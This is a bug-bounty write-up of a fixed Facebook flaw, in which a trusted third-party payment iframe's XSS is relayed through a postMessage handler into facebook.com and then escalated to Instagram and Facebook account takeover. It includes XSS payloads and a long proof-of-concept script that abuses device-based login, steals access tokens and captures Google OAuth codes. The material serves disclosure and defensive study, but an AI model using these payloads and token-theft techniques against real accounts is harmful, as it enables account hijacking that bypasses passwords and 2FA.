Self-XSS in Facebook payments flow leads to Instagram and Facebook account takeovers
Introduction
Facebook’s payments and billing flows rely heavily on third-party financial service providers.
To facilitate bank-based payments, Facebook embeds external services inside privileged Facebook pages and allows cross-window communication between those services and facebook.com.
One such integration exists in the ACH Direct Debit initialization flow, which embeds ThirdPartyPaymentProvider.com inside an iframe on m.facebook.com.
This integration assumes that messages originating from ThirdPartyPaymentProvider.com are trustworthy and safe to process.
That assumption turned out to be incorrect. A cross-window message handler on m.facebook.com accepts specific message types from ThirdPartyPaymentProvider.com and directly injects attacker-controlled HTML into the DOM.
By chaining this behavior with a cross-site scripting vulnerability in ThirdPartyPaymentProvider.com, it becomes possible to achieve JavaScript execution in the context of facebook.com.
Once code execution is achieved on Facebook, the attack can be escalated to Instagram account takeover through existing OAuth flows.
Description
Payments
The vulnerable Facebook page is https://m.facebook.com/billing_interfaces/direct_debit_ach_initialization
This endpoint:
- Embeds an iframe pointing to
https://ThirdPartyPaymentProvider.com - Registers a
messageevent listener to receive cross-window messages - Enforces a strict origin check, only accepting messages from
ThirdPartyPaymentProvider.com
At first glance, this seems secure.
However, origin validation is only as strong as the security of the trusted origin.
Trusting ThirdPartyPaymentProvider.com as a Security Boundary
The Facebook page registers a cross-window message handler similar to the following logic:
- Accept messages only if
event.origin === "https://ThirdPartyPaymentProvider.com" - Parse the message contents
- Handle specific message types
One such accepted message type is:
ThirdPartyPaymentProvider.learnMore
When this message is received, its payload is unsafely injected into the DOM without sanitization.
This creates a critical trust boundary:
Any JavaScript execution inside ThirdPartyPaymentProvider.com can send arbitrary HTML to be rendered inside facebook.com
XSS in ThirdPartyPaymentProvider.com
ThirdPartyPaymentProvider.com loads a remote configuration file specified via URL parameters.
By abusing this behavior, it was possible to inject the following payload into the ThirdPartyPaymentProvider context:
<img src="" onerror="onmessage=(e)=>{eval(e.data.cmd)};">
This turns the ThirdPartyPaymentProvider iframe into a message relay, allowing arbitrary JavaScript commands to be executed inside that origin.
At this point, the attacker controls a trusted ThirdPartyPaymentProvider.com frame.
Triggering XSS in facebook.com
Once the ThirdPartyPaymentProvider iframe is compromised, exploitation becomes trivial.
From the parent window, the attacker sends a message to the compromised iframe:
postMessage({
cmd: `
top.frames[1].postMessage(
'ThirdPartyPaymentProvider.learnMore|<img src="" onerror="alert(document.domain)"/>|b|c|d',
'*'
)
`
}, '*');
The compromised ThirdPartyPaymentProvider iframe then forwards this message to the Facebook iframe.
Because:
- The origin is valid (
ThirdPartyPaymentProvider.com) - The message type is allowed (
ThirdPartyPaymentProvider.learnMore)
Facebook injects the supplied HTML directly into the page, resulting in:
JavaScript execution in the context of facebook.com
At this point, document.domain is facebook.com.
Why this is a Self-XSS
Reaching the vulnerable Facebook endpoint requires two parameters:
user_idnonce
The nonce is not guessable and must be generated server-side and it’s linked to the current logged-in user. To satisfy these conditions, the exploit chain begins with a login CSRF, forcing the victim to authenticate into the attacker’s Facebook account. Once logged in, the attacker can reuse their own valid nonce from another session to start the flow.
Escalation to Instagram Account Takeover
After achieving Javascript execution on facebook.com, escalation is straightforward. The attacker can initiate the Instagram OAuth flow:
https://www.instagram.com/oauth/oidc/
?app_id=532380490911317
&redirect_uri=https://business.facebook.com/business/loginpage/igoauth/callback/
&scope=openid,linking
&response_type=code
When the flow redirects to:
business.facebook.com/business/loginpage/igoauth/callback/
the page runs under the facebook.com domain.
Because Javascript is already executing in this context, the attacker can read location.href, extract OAuth codes, and complete account linking or takeover.
Attack Flow Summary
1) Victim is forced to log into the attacker’s Facebook account via a login CSRF
2) Attacker loads the ACH initialization page with a valid attacker `nonce` and `user_id`
3) Facebook embeds `ThirdPartyPaymentProvider.com` inside a privileged iframe
4) An XSS in `ThirdPartyPaymentProvider.com` allows attacker-controlled Javascript execution
5) The compromised iframe sends a `ThirdPartyPaymentProvider.learnMore` message to parent window
6) Facebook injects attacker-supplied HTML, triggering XSS on `facebook.com`
7) Attacker initiates Instagram OAuth flow and steals an authorization code
Additional Impact: Full Facebook Account Takeover via Device-Based Login Abuse
After further testing, it was possible to escalate the existing XSS into a full Facebook account takeover, not only Instagram or Workplace.
This scenario abuses two Facebook behaviors that become reachable once JavaScript execution is achieved in the context of facebook.com:
- The widespread usage of “Save Login” / device-based login
- The ability to keep a malicious page alive using a Blob URL, preventing Facebook from refreshing or invalidating the session
Scenario 1: Device-Switch abuse
Most Facebook users have the Save Login feature enabled on at least one device. When this is the case, Facebook exposes device-switchable accounts through a GraphQL query. From the attacker account, after triggering the XSS:
- A GraphQL query can be issued to fetch **device-switchable accounts **
- Knowing the real victim account id, and if it’s saved, it’s possible to send a POST request to the device-based login endpoint
- The login occurs without password, 2FA, or user interaction
To ensure persistence, the XSS payload is loaded into a Blob URL, preventing Facebook from reloading or navigating away from the compromised execution context.
Scenario 2: Google OAuth login
If no device-switchable accounts are found, an alternative path still exists.
The attacker can:
- Trigger a Google OAuth flow via
accounts.google.com - Capture the authorization code after redirection to Facebook
- Associate the Google login code with the victim
user_idorcuid - Retry authentication until Facebook offers “Continue with Google” as a fallback
This technique works without user interaction if the victim is logged into only one Google account in their browser.
Proof of Concept
The following PoC was successfully tested and demonstrates both attack paths.
All execution occurs after XSS is already achieved in the Facebook context.
code = `
<html>
<script>
const getDeviceAccounts = (attacker_dtsg) => {
return fetch("https://m.facebook.com/api/graphql/", {
mode: "cors",
headers: {
"Content-Type": "application/x-www-form-urlencoded",
},
method: "post",
body: `__a=1&fb_dtsg=${attacker_dtsg}&doc_id=3114557815333936&variables={}`,
})
.then((e) => e.text())
.then((e) => {
try {
const post_data = e
.split('/login/device-based/login/","inputs":[')[1]
.split("]")[0];
const data_json = {};
JSON.parse(`[${post_data}]`).forEach((e) => {
data_json[e.name] = e.value;
});
return data_json;
} catch {
console.error("No device switchable accounts found!");
return false;
}
});
};
const loginAsVictim = (data) => {
return fetch("https://m.facebook.com/login/device-based/login/", {
mode: "cors",
redirect: "manual",
headers: {
"Content-Type": "application/x-www-form-urlencoded",
},
credentials: "include",
method: "post",
body: new URLSearchParams(data).toString(),
}).then((e) => e.text());
};
const getFirstPartyAccessToken = (dtsg) => {
return fetch("https://m.facebook.com/dialog/oauth", {
mode: "cors",
headers: {
"Content-Type": "application/x-www-form-urlencoded",
},
credentials: "include",
method: "post",
body: new URLSearchParams({
jazoest: "25620",
fb_dtsg: dtsg,
force_confirmation: "0",
display: "async",
__a: "1",
client_id: "124024574287414",
redirect_uri:
"https://staticxx.facebook.com/x/connect/xd_arbiter/?version=46#origin=https://www.instagram.com&relation=opener",
response_type: "token",
}),
})
.then((e) => e.text())
.then((e) =>
e.split("relation=opener&access_token=")[1].split("&")[0]
)
.then((token) => {
window.prompt("access_token:", token);
});
};
const getDtsg = () => {
return fetch("https://m.facebook.com/dialog/oauth", {
mode: "cors",
credentials: "include",
method: "post",
})
.then((e) => e.text())
.then(
(e) =>
e
.split('["MRequestConfig",[],{"dtsg":{"token":"')[1]
.split('"')[0]
);
};
const wait = (time) => {
return new Promise((resolve) => {
setTimeout(() => resolve(true), time);
});
};
const getGoogleLoginCode = () => {
console.log("Trying to get Google code");
document.domain = "facebook.com";
const wnd = window.open(
"https://accounts.google.com/o/oauth2/auth" +
"?client_id=15057814354-80cg059cn49j6kmhhkjam4b00on1gb2n.apps.googleusercontent.com" +
"&response_type=code" +
"&redirect_uri=https%3A%2F%2Fwww.facebook.com%2Foauth2%2Fredirect%2F" +
"&scope=openid+email"
);
wait(4000).then(() => {
try {
const google_code = new URLSearchParams(
wnd.location.href
).get("code");
window.prompt("google code:", google_code);
} catch {}
});
};
getDtsg().then((attacker_dtsg) => {
getDeviceAccounts(attacker_dtsg).then((data_post) => {
if (data_post) {
loginAsVictim(data_post).then(() => {
getDtsg().then((victim_dtsg) => {
getFirstPartyAccessToken(victim_dtsg);
});
});
} else {
getGoogleLoginCode();
}
});
});
</script>
</html>
`;
const blob = new Blob([code], {
type: "text/html",
});
window.location.href = URL.createObjectURL(blob);
This second scenario demonstrates that once JavaScript execution is achieved on facebook.com, the impact is not limited to linked platforms.
Under realistic conditions, the attacker can:
- Bypass passwords and 2FA
- Hijack saved login sessions
- Fully takeover the victim’s Facebook account
- Maintain persistence without page reloads
Combined with the original XSS vector, this results in a complete cross-platform account compromise.
Impact
The immediate impact is account takeover of Facebook, Instagram and Workplace accounts by only visiting attacker website. However, the broader implication is more severe. This vulnerability effectively allows ThirdPartyPaymentProvider.com to execute JavaScript in the context of facebook.com remotly.
A malicious actor could target ThirdPartyPaymentProvider infrastructure to inject a stored payload that automatically compromises any Facebook user attempting to add a payment method.
Such an attack would:
- Require no user interaction
- Affect Facebook, Instagram, and Workplace users
- Trigger during routine billing actions the user takes
Due to the potential scale and impact, further exploitation was intentionally avoided.
Timeline
Oct 18, 2024 — Bug reported
Oct 18, 2024 — Bug Acknowledged by Facebook
Nov 19, 2024 — Bug Fixed by Facebook
Nov 20, 2024 — $62,500 bounty awarded by Meta